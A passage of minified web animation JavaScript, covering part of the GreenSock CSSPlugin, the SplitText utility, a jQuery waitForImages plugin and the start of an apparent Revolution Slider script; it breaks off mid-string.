bD=0.0001;bD>I&&I>-bD&&(I=z=0.00002),bD>bE&&bE>-bD&&(bE=z=0.00002),!Q||F.z||F.rotationX||F.rotationY||(Q=0)}if(bK||F.skewX){bR=Math.cos(bK),R=Math.sin(bK),X=bR,Z=R,F.skewX&&(bK-=F.skewX*aP,bR=Math.cos(bK),R=Math.sin(bK),"simple"===F.skewType&&(W=Math.tan(F.skewX*aP),W=Math.sqrt(1+W*W),bR*=W,R*=W)),bH=-R,bG=bR}else{if(!(F.rotationY||F.rotationX||1!==z||Q)){return at[aM]=(F.xPercent||F.yPercent?"translate("+F.xPercent+"%,"+F.yPercent+"%) translate3d(":"translate3d(")+G+"px,"+Y+"px,"+q+"px)"+(1!==I||1!==bE?" scale("+I+","+bE+")":""),void 0}X=bG=1,bH=Z=0}bQ=1,bt=bL=V=bS=bN=bJ=bF=bP=U=0,bI=Q?-1/Q:0,bM=F.zOrigin,J=100000,bK=F.rotationY*aP,bK&&(bR=Math.cos(bK),R=Math.sin(bK),bN=bQ*-R,bP=bI*-R,bt=X*R,V=Z*R,bQ*=bR,bI*=bR,X*=bR,Z*=bR),bK=F.rotationX*aP,bK&&(bR=Math.cos(bK),R=Math.sin(bK),W=bH*bR+bt*R,j=bG*bR+V*R,K=bJ*bR+bQ*R,h=U*bR+bI*R,bt=bH*-R+bt*bR,V=bG*-R+V*bR,bQ=bJ*-R+bQ*bR,bI=U*-R+bI*bR,bH=W,bG=j,bJ=K,U=h),1!==z&&(bt*=z,V*=z,bQ*=z,bI*=z),1!==bE&&(bH*=bE,bG*=bE,bJ*=bE,U*=bE),1!==I&&(X*=I,Z*=I,bN*=I,bP*=I),bM&&(bF-=bM,bL=bt*bF,bS=V*bF,bF=bQ*bF+bM),bL=(W=(bL+=G)-(bL|=0))?(0|W*J+(0>W?-0.5:0.5))/J+bL:bL,bS=(W=(bS+=Y)-(bS|=0))?(0|W*J+(0>W?-0.5:0.5))/J+bS:bS,bF=(W=(bF+=q)-(bF|=0))?(0|W*J+(0>W?-0.5:0.5))/J+bF:bF,at[aM]=(F.xPercent||F.yPercent?"translate("+F.xPercent+"%,"+F.yPercent+"%) matrix3d(":"matrix3d(")+[(0|X*J)/J,(0|Z*J)/J,(0|bN*J)/J,(0|bP*J)/J,(0|bH*J)/J,(0|bG*J)/J,(0|bJ*J)/J,(0|U*J)/J,(0|bt*J)/J,(0|V*J)/J,(0|bQ*J)/J,(0|bI*J)/J,bL,bS,bF,Q?1+-bF/Q:1].join(",")+")"},aa=bf.set2DTransformRatio=function(k){var q,d,b,h,v,c=this.data,p=this.t,m=p.style,j=c.x,g=c.y;return c.rotationX||c.rotationY||c.z||c.force3D===!0||"auto"===c.force3D&&1!==k&&0!==k?(this.setRatio=aR,aR.call(this,k),void 0):(c.rotation||c.skewX?(q=c.rotation*aP,d=q-c.skewX*aP,b=100000,h=c.scaleX*b,v=c.scaleY*b,m[aM]=(c.xPercent||c.yPercent?"translate("+c.xPercent+"%,"+c.yPercent+"%) matrix(":"matrix(")+(0|Math.cos(q)*h)/b+","+(0|Math.sin(q)*h)/b+","+(0|Math.sin(d)*-v)/b+","+(0|Math.cos(d)*v)/b+","+j+","+g+")"):m[aM]=(c.xPercent||c.yPercent?"translate("+c.xPercent+"%,"+c.yPercent+"%) matrix(":"matrix(")+c.scaleX+",0,0,"+c.scaleY+","+j+","+g+")",void 0)};bn("transform,scale,scaleX,scaleY,scaleZ,x,y,z,rotation,rotationX,rotationY,rotationZ,skewX,skewY,shortRotation,shortRotationX,shortRotationY,shortRotationZ,transformOrigin,transformPerspective,directionalRotation,parseTransform,force3D,skewType,xPercent,yPercent",{parser:function(K,z,D,B,A,q,O){if(B._transform){return A}var J,G,M,H,C,L,o,F=B._transform=br(K,aF,!0,O.parseTransform),I=K.style,j=0.000001,N=bq.length,k=O,x={};if("string"==typeof k.transform&&aM){M=bk.style,M[aM]=k.transform,M.display="block",M.position="absolute",bd.body.appendChild(bk),J=br(bk,null,!1),bd.body.removeChild(bk)}else{if("object"==typeof k){if(J={scaleX:bx(null!=k.scaleX?k.scaleX:k.scale,F.scaleX),scaleY:bx(null!=k.scaleY?k.scaleY:k.scale,F.scaleY),scaleZ:bx(k.scaleZ,F.scaleZ),x:bx(k.x,F.x),y:bx(k.y,F.y),z:bx(k.z,F.z),xPercent:bx(k.xPercent,F.xPercent),yPercent:bx(k.yPercent,F.yPercent),perspective:bx(k.transformPerspective,F.perspective)},o=k.directionalRotation,null!=o){if("object"==typeof o){for(M in o){k[M]=o[M]}}else{k.rotation=o}}"string"==typeof k.x&&-1!==k.x.indexOf("%")&&(J.x=0,J.xPercent=bx(k.x,F.xPercent)),"string"==typeof k.y&&-1!==k.y.indexOf("%")&&(J.y=0,J.yPercent=bx(k.y,F.yPercent)),J.rotation=ai("rotation" in k?k.rotation:"shortRotation" in k?k.shortRotation+"_short":"rotationZ" in k?k.rotationZ:F.rotation,F.rotation,"rotation",x),bA&&(J.rotationX=ai("rotationX" in k?k.rotationX:"shortRotationX" in k?k.shortRotationX+"_short":F.rotationX||0,F.rotationX,"rotationX",x),J.rotationY=ai("rotationY" in k?k.rotationY:"shortRotationY" in k?k.shortRotationY+"_short":F.rotationY||0,F.rotationY,"rotationY",x)),J.skewX=null==k.skewX?F.skewX:ai(k.skewX,F.skewX),J.skewY=null==k.skewY?F.skewY:ai(k.skewY,F.skewY),(G=J.skewY-F.skewY)&&(J.skewX+=G,J.rotation+=G)}}for(bA&&null!=k.force3D&&(F.force3D=k.force3D,L=!0),F.skewType=k.skewType||F.skewType||az.defaultSkewType,C=F.force3D||F.z||F.rotationX||F.rotationY||J.z||J.rotationX||J.rotationY||J.perspective,C||null==k.scale||(J.scaleZ=1);--N>-1;){D=bq[N],H=J[D]-F[D],(H>j||-j>H||null!=a5[D])&&(L=!0,A=new aQ(F,D,F[D],H,A),D in x&&(A.e=x[D]),A.xs0=0,A.plugin=q,B._overwriteProps.push(A.n))}return H=k.transformOrigin,(H||bA&&C&&F.zOrigin)&&(aM?(L=!0,D=ae,H=(H||bs(K,D,aF,!1,"50% 50%"))+"",A=new aQ(I,D,0,0,A,-1,"transformOrigin"),A.b=I[D],A.plugin=q,bA?(M=F.zOrigin,H=H.split(" "),F.zOrigin=(H.length>2&&(0===M||"0px"!==H[2])?parseFloat(H[2]):M)||0,A.xs0=A.e=H[0]+" "+(H[1]||"50%")+" 0px",A=new aQ(F,"zOrigin",0,0,A,-1,A.n),A.b=M,A.xs0=A.e=F.zOrigin):A.xs0=A.e=H):a0(H+"",F)),L&&(B._transformType=C||3===this._transformType?3:2),A},prefix:!0}),bn("boxShadow",{defaultValue:"0px 0px 0px 0px #999",prefix:!0,color:!0,multi:!0,keyword:"inset"}),bn("borderRadius",{defaultValue:"0px",parser:function(O,D,I,F,H){D=this.format(D);var B,U,N,K,Q,L,G,P,A,J,M,q,R,z,C,k,r=["borderTopLeftRadius","borderTopRightRadius","borderBottomRightRadius","borderBottomLeftRadius"],j=O.style;for(A=parseFloat(O.offsetWidth),J=parseFloat(O.offsetHeight),B=D.split(" "),U=0;r.length>U;U++){this.p.indexOf("border")&&(r[U]=aV(r[U])),Q=K=bs(O,r[U],aF,!1,"0px"),-1!==Q.indexOf(" ")&&(K=Q.split(" "),Q=K[0],K=K[1]),L=N=B[U],G=parseFloat(Q),q=Q.substr((G+"").length),R="="===L.charAt(1),R?(P=parseInt(L.charAt(0)+"1",10),L=L.substr(2),P*=parseFloat(L),M=L.substr((P+"").length-(0>P?1:0))||""):(P=parseFloat(L),M=L.substr((P+"").length)),""===M&&(M=av[I]||q),M!==q&&(z=bb(O,"borderLeft",G,q),C=bb(O,"borderTop",G,q),"%"===M?(Q=100*(z/A)+"%",K=100*(C/J)+"%"):"em"===M?(k=bb(O,"borderLeft",1,"em"),Q=z/k+"em",K=C/k+"em"):(Q=z+"px",K=C+"px"),R&&(L=parseFloat(Q)+P+M,N=parseFloat(K)+P+M)),H=af(j,r[U],Q+" "+K,L+" "+N,!1,"0px",H)}return H},prefix:!0,formatter:bu("0px 0px 0px 0px",!1,!0)}),bn("backgroundPosition",{defaultValue:"0 0",parser:function(A,F,k,b,G,j){var E,C,z,w,B,x,d="background-position",D=aF||aX(A,null),q=this.format((D?aK?D.getPropertyValue(d+"-x")+" "+D.getPropertyValue(d+"-y"):D.getPropertyValue(d):A.currentStyle.backgroundPositionX+" "+A.currentStyle.backgroundPositionY)||"0 0"),y=this.format(F);if(-1!==q.indexOf("%")!=(-1!==y.indexOf("%"))&&(x=bs(A,"backgroundImage").replace(bi,""),x&&"none"!==x)){for(E=q.split(" "),C=y.split(" "),aE.setAttribute("src",x),z=2;--z>-1;){q=E[z],w=-1!==q.indexOf("%"),w!==(-1!==C[z].indexOf("%"))&&(B=0===z?A.offsetWidth-aE.width:A.offsetHeight-aE.height,E[z]=w?parseFloat(q)/100*B+"px":100*(parseFloat(q)/B)+"%")}q=E.join(" ")}return this.parseComplex(A.style,q,y,G,j)},formatter:a0}),bn("backgroundSize",{defaultValue:"0 0",formatter:a0}),bn("perspective",{defaultValue:"0px",prefix:!0}),bn("perspectiveOrigin",{defaultValue:"50% 50%",prefix:!0}),bn("transformStyle",{prefix:!0}),bn("backfaceVisibility",{prefix:!0}),bn("userSelect",{prefix:!0}),bn("margin",{parser:bw("marginTop,marginRight,marginBottom,marginLeft")}),bn("padding",{parser:bw("paddingTop,paddingRight,paddingBottom,paddingLeft")}),bn("clip",{defaultValue:"rect(0px,0px,0px,0px)",parser:function(h,l,d,b,m,c){var k,j,g;return 9>aK?(j=h.currentStyle,g=8>aK?" ":",",k="rect("+j.clipTop+g+j.clipRight+g+j.clipBottom+g+j.clipLeft+")",l=this.format(l).split(",").join(g)):(k=this.format(bs(h,this.p,aF,!1,this.dflt)),l=this.format(l)),this.parseComplex(h.style,k,l,m,c)}}),bn("textShadow",{defaultValue:"0px 0px 0px #999",color:!0,multi:!0}),bn("autoRound,strictUnits",{parser:function(d,b,f,c,a){return a}}),bn("border",{defaultValue:"0px solid #000",parser:function(d,a,g,c,b,f){return this.parseComplex(d.style,this.format(bs(d,"borderTopWidth",aF,!1,"0px")+" "+bs(d,"borderTopStyle",aF,!1,"solid")+" "+bs(d,"borderTopColor",aF,!1,"#000")),this.format(a),b,f)},color:!0,formatter:function(b){var a=b.split(" ");return a[0]+" "+(a[1]||"solid")+" "+(b.match(bj)||["#000"])[0]}}),bn("borderWidth",{parser:bw("borderTopWidth,borderRightWidth,borderBottomWidth,borderLeftWidth")}),bn("float,cssFloat,styleFloat",{parser:function(f,b,h,d,a){var c=f.style,g="cssFloat" in c?"cssFloat":"styleFloat";return new aQ(c,g,0,0,a,-1,h,!1,0,c[g],b)}});var ab=function(d){var b,f=this.t,c=f.filter||bs(this.data,"filter"),a=0|this.s+this.c*d;100===a&&(-1===c.indexOf("atrix(")&&-1===c.indexOf("radient(")&&-1===c.indexOf("oader(")?(f.removeAttribute("filter"),b=!bs(this.data,"filter")):(f.filter=c.replace(a1,""),b=!0)),b||(this.xn1&&(f.filter=c=c||"alpha(opacity="+a+")"),-1===c.indexOf("pacity")?0===a&&this.xn1||(f.filter=c+" alpha(opacity="+a+")"):f.filter=c.replace(an,"opacity="+a))};bn("opacity,alpha,autoAlpha",{defaultValue:"1",parser:function(h,l,d,b,m,c){var k=parseFloat(bs(h,"opacity",aF,!1,"1")),j=h.style,g="autoAlpha"===d;return"string"==typeof l&&"="===l.charAt(1)&&(l=("-"===l.charAt(0)?-1:1)*parseFloat(l.substr(2))+k),g&&1===k&&"hidden"===bs(h,"visibility",aF)&&0!==l&&(k=0),ax?m=new aQ(j,"opacity",k,l-k,m):(m=new aQ(j,"opacity",100*k,100*(l-k),m),m.xn1=g?1:0,j.zoom=1,m.type=2,m.b="alpha(opacity="+m.s+")",m.e="alpha(opacity="+(m.s+m.c)+")",m.data=h,m.plugin=c,m.setRatio=ab),g&&(m=new aQ(j,"visibility",0,0,m,-1,null,!1,0,0!==k?"inherit":"hidden",0===l?"hidden":"inherit"),m.xs0="inherit",b._overwriteProps.push(m.n),b._overwriteProps.push(d)),m}});var bv=function(b,a){a&&(b.removeProperty?("ms"===a.substr(0,2)&&(a="M"+a.substr(1)),b.removeProperty(a.replace(aZ,"-$1").toLowerCase())):b.removeAttribute(a))},a2=function(b){if(this.t._gsClassPT=this,1===b||0===b){this.t.setAttribute("class",0===b?this.b:this.e);for(var a=this.data,c=this.t.style;a;){a.v?c[a.p]=a.v:bv(c,a.p),a=a._next}1===b&&this.t._gsClassPT===this&&(this.t._gsClassPT=null)}else{this.t.getAttribute("class")!==this.e&&this.t.setAttribute("class",this.e)}};bn("className",{parser:function(q,B,b,C,j,A,y){var n,k,x,m,g,w=q.getAttribute("class")||"",z=q.style.cssText;if(j=C._classNamePT=new aQ(q,b,0,0,j,2),j.setRatio=a2,j.pr=-11,aA=!0,j.b=w,k=a4(q,aF),x=q._gsClassPT){for(m={},g=x.data;g;){m[g.p]=1,g=g._next}x.setRatio(1)}return q._gsClassPT=j,j.e="="!==B.charAt(1)?B:w.replace(RegExp("\\s*\\b"+B.substr(2)+"\\b"),"")+("+"===B.charAt(0)?" "+B.substr(2):""),C._tween._duration&&(q.setAttribute("class",j.e),n=be(q,k,a4(q),y,m),q.setAttribute("class",w),j.data=n.firstMPT,q.style.cssText=z,j=j.xfirst=C.parse(q,n.difs,j,A)),j}});var by=function(f){if((1===f||0===f)&&this.data._totalTime===this.data._totalDuration&&"isFromStart"!==this.data.data){var b,h,d,a,c=this.t.style,g=aq.transform.parse;if("all"===this.e){c.cssText="",a=!0}else{for(b=this.e.split(","),d=b.length;--d>-1;){h=b[d],aq[h]&&(aq[h].parse===g?a=!0:h="transformOrigin"===h?ae:aq[h].p),bv(c,h)}}a&&(bv(c,aM),this.t._gsTransform&&delete this.t._gsTransform)}};for(bn("clearProps",{parser:function(f,b,d,a,c){return c=new aQ(f,d,0,0,c,2),c.setRatio=by,c.e=b,c.pr=-10,c.data=a._tween,aA=!0,c}}),aO="bezier,throwProps,physicsProps,physics2D".split(","),ad=aO.length;ad--;){bm(aO[ad])}aO=az.prototype,aO._firstPT=null,aO._onInitTween=function(l,z,x){if(!l.nodeType){return !1}this._target=l,this._tween=x,this._vars=z,aI=z.autoRound,aA=!1,av=z.suffixMap||az.suffixMap,aF=aX(l,""),au=this._overwriteProps;var q,j,n,s,c,k,p,o,r,f=l.style;if(aC&&""===f.zIndex&&(q=bs(l,"zIndex",aF),("auto"===q||""===q)&&this._addLazySet(f,"zIndex",0)),"string"==typeof z&&(s=f.cssText,q=a4(l,aF),f.cssText=s+";"+z,q=be(l,q,a4(l)).difs,!ax&&bg.test(z)&&(q.opacity=parseFloat(RegExp.$1)),z=q,f.cssText=s),this._firstPT=j=this.parse(l,z,null),this._transformType){for(r=3===this._transformType,aM?aL&&(aC=!0,""===f.zIndex&&(p=bs(l,"zIndex",aF),("auto"===p||""===p)&&this._addLazySet(f,"zIndex",0)),ay&&this._addLazySet(f,"WebkitBackfaceVisibility",this._vars.WebkitBackfaceVisibility||(r?"visible":"hidden"))):f.zoom=1,n=j;n&&n._next;){n=n._next}o=new aQ(l,"transform",0,0,null,2),this._linkCSSP(o,null,n),o.setRatio=r&&bA?aR:aM?aa:bp,o.data=this._transform||br(l,aF,!0),au.pop()}if(aA){for(;j;){for(k=j._next,n=s;n&&n.pr>j.pr;){n=n._next}(j._prev=n?n._prev:c)?j._prev._next=j:s=j,(j._next=n)?n._prev=j:c=j,j=k}this._firstPT=s}return !0},aO.parse=function(w,D,j,E){var f,B,q,z,r,b,x,C,k,u,A=w.style;for(f in D){b=D[f],B=aq[f],B?j=B.parse(w,b,f,this,j,E,D):(r=bs(w,f,aF)+"",k="string"==typeof b,"color"===f||"fill"===f||"stroke"===f||-1!==f.indexOf("Color")||k&&am.test(b)?(k||(b=aw(b),b=(b.length>3?"rgba(":"rgb(")+b.join(",")+")"),j=af(A,f,r,b,!0,"transparent",j,0,E)):!k||-1===b.indexOf(" ")&&-1===b.indexOf(",")?(q=parseFloat(r),x=q||0===q?r.substr((q+"").length):"",(""===r||"auto"===r)&&("width"===f||"height"===f?(q=bC(w,f,aF),x="px"):"left"===f||"top"===f?(q=ba(w,f,aF),x="px"):(q="opacity"!==f?0:1,x="")),u=k&&"="===b.charAt(1),u?(z=parseInt(b.charAt(0)+"1",10),b=b.substr(2),z*=parseFloat(b),C=b.replace(aN,"")):(z=parseFloat(b),C=k?b.substr((z+"").length)||"":""),""===C&&(C=f in av?av[f]:x),b=z||0===z?(u?z+q:z)+C:D[f],x!==C&&""!==C&&(z||0===z)&&q&&(q=bb(w,f,q,x),"%"===C?(q/=bb(w,f,100,"%")/100,D.strictUnits!==!0&&(r=q+"%")):"em"===C?q/=bb(w,f,1,"em"):"px"!==C&&(z=bb(w,f,z,C),C="px"),u&&(z||0===z)&&(b=z+q+C)),u&&(z+=q),!q&&0!==q||!z&&0!==z?void 0!==A[f]&&(b||"NaN"!=b+""&&null!=b)?(j=new aQ(A,f,z||q||0,0,j,-1,f,!1,0,r,b),j.xs0="none"!==b||"display"!==f&&-1===f.indexOf("Style")?b:r):aY("invalid "+f+" tween value: "+D[f]):(j=new aQ(A,f,q,z-q,j,0,f,aI!==!1&&("px"===C||"zIndex"===f),0,r,b),j.xs0=C)):j=af(A,f,r,b,!0,null,j,0,E)),E&&j&&!j.plugin&&(j.plugin=E)}return j},aO.setRatio=function(f){var b,g,d,a=this._firstPT,c=0.000001;if(1!==f||this._tween._time!==this._tween._duration&&0!==this._tween._time){if(f||this._tween._time!==this._tween._duration&&0!==this._tween._time||this._tween._rawPrevTime===-0.000001){for(;a;){if(b=a.c*f+a.s,a.r?b=Math.round(b):c>b&&b>-c&&(b=0),a.type){if(1===a.type){if(d=a.l,2===d){a.t[a.p]=a.xs0+b+a.xs1+a.xn1+a.xs2}else{if(3===d){a.t[a.p]=a.xs0+b+a.xs1+a.xn1+a.xs2+a.xn2+a.xs3}else{if(4===d){a.t[a.p]=a.xs0+b+a.xs1+a.xn1+a.xs2+a.xn2+a.xs3+a.xn3+a.xs4}else{if(5===d){a.t[a.p]=a.xs0+b+a.xs1+a.xn1+a.xs2+a.xn2+a.xs3+a.xn3+a.xs4+a.xn4+a.xs5}else{for(g=a.xs0+b+a.xs1,d=1;a.l>d;d++){g+=a["xn"+d]+a["xs"+(d+1)]}a.t[a.p]=g}}}}}else{-1===a.type?a.t[a.p]=a.xs0:a.setRatio&&a.setRatio(f)}}else{a.t[a.p]=b+a.xs0}a=a._next}}else{for(;a;){2!==a.type?a.t[a.p]=a.b:a.setRatio(f),a=a._next}}}else{for(;a;){2!==a.type?a.t[a.p]=a.e:a.setRatio(f),a=a._next}}},aO._enableTransforms=function(a){this._transformType=a||3===this._transformType?3:2,this._transform=this._transform||br(this._target,aF,!0)};var bB=function(){this.t[this.p]=this.e,this.data._linkCSSP(this,this._next,null,!0)};aO._addLazySet=function(c,a,d){var b=this._firstPT=new aQ(c,a,0,0,this._firstPT,2);b.e=d,b.setRatio=bB,b.data=this},aO._linkCSSP=function(c,a,d,b){return c&&(a&&(a._prev=c),c._next&&(c._next._prev=c._prev),c._prev?c._prev._next=c._next:this._firstPT===c&&(this._firstPT=c._next,b=!0),d?d._next=c:b||null!==this._firstPT||(this._firstPT=c),c._next=a,c._prev=d),c},aO._kill=function(b){var f,d,a,c=b;if(b.autoAlpha||b.alpha){c={};for(d in b){c[d]=b[d]}c.opacity=1,c.autoAlpha&&(c.visibility=1)}return b.className&&(f=this._classNamePT)&&(a=f.xfirst,a&&a._prev?this._linkCSSP(a._prev,f._next,a._prev._prev):a===this._firstPT&&(this._firstPT=f._next),f._next&&this._linkCSSP(f._next,f._next._next,a._prev),this._classNamePT=null),aJ.prototype._kill.call(this,c)};var aj=function(f,b,h){var d,a,c,g;if(f.slice){for(a=f.length;--a>-1;){aj(f[a],b,h)}}else{for(d=f.childNodes,a=d.length;--a>-1;){c=d[a],g=c.type,c.style&&(b.push(a4(c)),h&&h.push(c)),1!==g&&9!==g&&11!==g||!c.childNodes.length||aj(c,b,h)}}};return az.cascadeTo=function(q,g,b){var k,x,d,w=ar.to(q,g,b),v=[w],p=[],j=[],t=[],m=ar._internals.reservedProps;for(q=w._targets||w.target,aj(q,p,t),w.render(g,!0),aj(q,j),w.render(0,!0),w._enabled(!0),k=t.length;--k>-1;){if(x=be(t[k],p[k],j[k]),x.firstMPT){x=x.difs;for(d in b){m[d]&&(x[d]=b[d])}v.push(ar.to(t[k],g,x))}}return v},aJ.activate([az]),az},!0)}),_gsScope._gsDefine&&_gsScope._gsQueue.pop()(),function(b){var a=function(){return(_gsScope.GreenSockGlobals||_gsScope)[b]};"function"==typeof define&&define.amd?define(["TweenLite"],a):"undefined"!=typeof module&&module.exports&&(require("../TweenLite.js"),module.exports=a())}("CSSPlugin");var _gsScope="undefined"!=typeof module&&module.exports&&"undefined"!=typeof global?global:this||window;(function(I){var q=I.GreenSockGlobals||I,B=function(d){var f,c=d.split("."),a=q;for(f=0;c.length>f;f++){a[c[f]]=a=a[c[f]]||{}}return a},x=B("com.greensock.utils"),E=function(c){var a=c.nodeType,d="";if(1===a||9===a||11===a){if("string"==typeof c.textContent){return c.textContent}for(c=c.firstChild;c;c=c.nextSibling){d+=E(c)}}else{if(3===a||4===a){return c.nodeValue}}return d},w=document,A=w.defaultView?w.defaultView.getComputedStyle:function(){},k=/([A-Z])/g,L=function(f,c,g,d){var a;return(g=g||A(f,null))?(f=g.getPropertyValue(c.replace(k,"-$1").toLowerCase()),a=f||g.length?f:g[c]):f.currentStyle&&(g=f.currentStyle,a=g[c]),d?a:parseInt(a,10)||0},H=function(a){return a.length&&a[0]&&(a[0].nodeType&&a[0].style&&!a.nodeType||a[0].length&&a[0][0])?!0:!1},D=function(g){var c,h,f,a=[],d=g.length;for(c=0;d>c;c++){if(h=g[c],H(h)){for(f=h.length,f=0;h.length>f;f++){a.push(h[f])}}else{a.push(h)}}return a},K=")eefec303079ad17405c",F=/(?:<br>|<br\/>|<br \/>)/gi,z=w.all&&!w.addEventListener,J="<div style='position:relative;display:inline-block;"+(z?"*display:inline;*zoom:1;'":"'"),j=function(c){c=c||"";var a=-1!==c.indexOf("++"),d=1;return a&&(c=c.split("++").join("")),function(){return J+(c?" class='"+c+(a?d++:"")+"'>":">")}},C=x.SplitText=q.SplitText=function(c,a){if("string"==typeof c&&(c=C.selector(c)),!c){throw"cannot split a null element."}this.elements=H(c)?D(c):[c],this.chars=[],this.words=[],this.lines=[],this._originals=[],this.vars=a||{},this.split(a)},G=function(aG,av,aA,aw,au){F.test(aG.innerHTML)&&(aG.innerHTML=aG.innerHTML.replace(F,K));var aF,aC,az,aH,aB,aE,ar,aI,an,ab,at,aa,ag,ao=E(aG),aD=av.type||av.split||"chars,words,lines",ai=-1!==aD.indexOf("lines")?[]:null,af=-1!==aD.indexOf("words"),ah=-1!==aD.indexOf("chars"),aJ="absolute"===av.position||av.absolute===!0,ae=aJ?"&#173; ":" ",ak=-999,ap=A(aG),am=L(aG,"paddingLeft",ap),ax=L(aG,"borderBottomWidth",ap)+L(aG,"borderTopWidth",ap),ac=L(aG,"borderLeftWidth",ap)+L(aG,"borderRightWidth",ap),v=L(aG,"paddingTop",ap)+L(aG,"paddingBottom",ap),o=L(aG,"paddingLeft",ap)+L(aG,"paddingRight",ap),h=L(aG,"textAlign",ap,!0),s=aG.clientHeight,aq=aG.clientWidth,aj=ao.length,ad="</div>",al=j(av.wordsClass),c=j(av.charsClass),a=-1!==(av.linesClass||"").indexOf("++"),ay=av.linesClass;for(a&&(ay=ay.split("++").join("")),az=al(),aH=0;aj>aH;aH++){aE=ao.charAt(aH),")"===aE&&ao.substr(aH,20)===K?(az+=ad+"<BR/>",aH!==aj-1&&(az+=" "+al()),aH+=19):" "===aE&&" "!==ao.charAt(aH-1)&&aH!==aj-1?(az+=ad,aH!==aj-1&&(az+=ae+al())):az+=ah&&" "!==aE?c()+aE+"</div>":aE}for(aG.innerHTML=az+ad,aB=aG.getElementsByTagName("*"),aj=aB.length,ar=[],aH=0;aj>aH;aH++){ar[aH]=aB[aH]}if(ai||aJ){for(aH=0;aj>aH;aH++){aI=ar[aH],aC=aI.parentNode===aG,(aC||aJ||ah&&!af)&&(an=aI.offsetTop,ai&&aC&&an!==ak&&"BR"!==aI.nodeName&&(aF=[],ai.push(aF),ak=an),aJ&&(aI._x=aI.offsetLeft,aI._y=an,aI._w=aI.offsetWidth,aI._h=aI.offsetHeight),ai&&(af!==aC&&ah||(aF.push(aI),aI._x-=am),aC&&aH&&(ar[aH-1]._wordEnd=!0)))}}for(aH=0;aj>aH;aH++){aI=ar[aH],aC=aI.parentNode===aG,"BR"!==aI.nodeName?(aJ&&(at=aI.style,af||aC||(aI._x+=aI.parentNode._x,aI._y+=aI.parentNode._y),at.left=aI._x+"px",at.top=aI._y+"px",at.position="absolute",at.display="block",at.width=aI._w+1+"px",at.height=aI._h+"px"),af?aC?aw.push(aI):ah&&aA.push(aI):aC?(aG.removeChild(aI),ar.splice(aH--,1),aj--):!aC&&ah&&(an=!ai&&!aJ&&aI.nextSibling,aG.appendChild(aI),an||aG.appendChild(w.createTextNode(" ")),aA.push(aI))):ai||aJ?(aG.removeChild(aI),ar.splice(aH--,1),aj--):af||aG.appendChild(aI)}if(ai){for(aJ&&(ab=w.createElement("div"),aG.appendChild(ab),aa=ab.offsetWidth+"px",an=ab.offsetParent===aG?0:aG.offsetLeft,aG.removeChild(ab)),at=aG.style.cssText,aG.style.cssText="display:none;";aG.firstChild;){aG.removeChild(aG.firstChild)}for(ag=!aJ||!af&&!ah,aH=0;ai.length>aH;aH++){for(aF=ai[aH],ab=w.createElement("div"),ab.style.cssText="display:block;text-align:"+h+";position:"+(aJ?"absolute;":"relative;"),ay&&(ab.className=ay+(a?aH+1:"")),au.push(ab),aj=aF.length,aB=0;aj>aB;aB++){"BR"!==aF[aB].nodeName&&(aI=aF[aB],ab.appendChild(aI),ag&&(aI._wordEnd||af)&&ab.appendChild(w.createTextNode(" ")),aJ&&(0===aB&&(ab.style.top=aI._y+"px",ab.style.left=am+an+"px"),aI.style.top="0px",an&&(aI.style.left=aI._x-an+"px")))}af||ah||(ab.innerHTML=E(ab).split(String.fromCharCode(160)).join(" ")),aJ&&(ab.style.width=aa,ab.style.height=aI._h+"px"),aG.appendChild(ab)}aG.style.cssText=at}aJ&&(s>aG.clientHeight&&(aG.style.height=s-v+"px",s>aG.clientHeight&&(aG.style.height=s+ax+"px")),aq>aG.clientWidth&&(aG.style.width=aq-o+"px",aq>aG.clientWidth&&(aG.style.width=aq+ac+"px")))},b=C.prototype;b.split=function(c){this.isSplit&&this.revert(),this.vars=c||this.vars,this._originals.length=this.chars.length=this.words.length=this.lines.length=0;for(var a=0;this.elements.length>a;a++){this._originals[a]=this.elements[a].innerHTML,G(this.elements[a],this.vars,this.chars,this.words,this.lines)}return this.isSplit=!0,this},b.revert=function(){if(!this._originals){throw"revert() call wasn't scoped properly."}for(var a=this._originals.length;--a>-1;){this.elements[a].innerHTML=this._originals[a]}return this.chars=[],this.words=[],this.lines=[],this.isSplit=!1,this},C.selector=I.$||I.jQuery||function(a){return I.$?(C.selector=I.$,I.$(a)):w?w.getElementById("#"===a.charAt(0)?a.substr(1):a):a},C.version="0.2.4"})(_gsScope),function(b){var a=function(){return(_gsScope.GreenSockGlobals||_gsScope)[b]};"function"==typeof define&&define.amd?define(["TweenLite"],a):"undefined"!=typeof module&&module.exports&&(module.exports=a())}("SplitText");try{window.GreenSockGobals=null;window._gsQueue=null;delete window.GreenSockGlobals;delete window._gsQueue}catch(e){}try{window.GreenSockGlobals=oldgs;window._gsQueue=oldgs_queue}catch(e){}if(window.tplogs==true){try{console.groupEnd()}catch(e){}}(function(b,a){b.waitForImages={hasImageProperties:["backgroundImage","listStyleImage","borderImage","borderCornerImage"]};b.expr[":"].uncached=function(c){var d=document.createElement("img");d.src=c.src;return b(c).is('img[src!=""]')&&!d.complete};b.fn.waitForImages=function(c,f,d){if(b.isPlainObject(arguments[0])){f=c.each;d=c.waitForAll;c=c.finished}c=c||b.noop;f=f||b.noop;d=!!d;if(!b.isFunction(c)||!b.isFunction(f)){throw new TypeError("An invalid callback was supplied.")}return this.each(function(){var k=b(this),m=[];if(d){var n=b.waitForImages.hasImageProperties||[],j=/url\((['"]?)(.*?)\1\)/g;k.find("*").each(function(){var l=b(this);if(l.is("img:uncached")){m.push({src:l.attr("src"),element:l[0]})}b.each(n,function(q,s){var p=l.css(s);if(!p){return true}var o;while(o=j.exec(p)){m.push({src:o[2],element:l[0]})}})})}else{k.find("img:uncached").each(function(){m.push({src:this.src,element:this})})}var h=m.length,g=0;if(h==0){c.call(k[0])}b.each(m,function(p,l){var q=new Image;b(q).bind("load error",function(o){g++;f.call(l.element,g,h,o.type=="load");if(g==h){c.call(k[0]);return false}});q.src=l.src})})}})(jQuery);(function(a2,aK){function aR(){var a=false;if(navigator.userAgent.match(/iPhone/i)||navigator.userAgent.match(/iPod/i)||navigator.userAgent.match(/iPad/i)){if(navigator.userAgent.match(/OS 4_\d like Mac OS X/i)){a=true}}else{a=false}return a}function aM(G,R){if(G==aK){return false}if(G.data("aimg")!=aK){if(G.data("aie8")=="enabled"&&a6(8)||G.data("amobile")=="enabled"&&aq()){G.html('<img class="tp-slider-alternative-image" 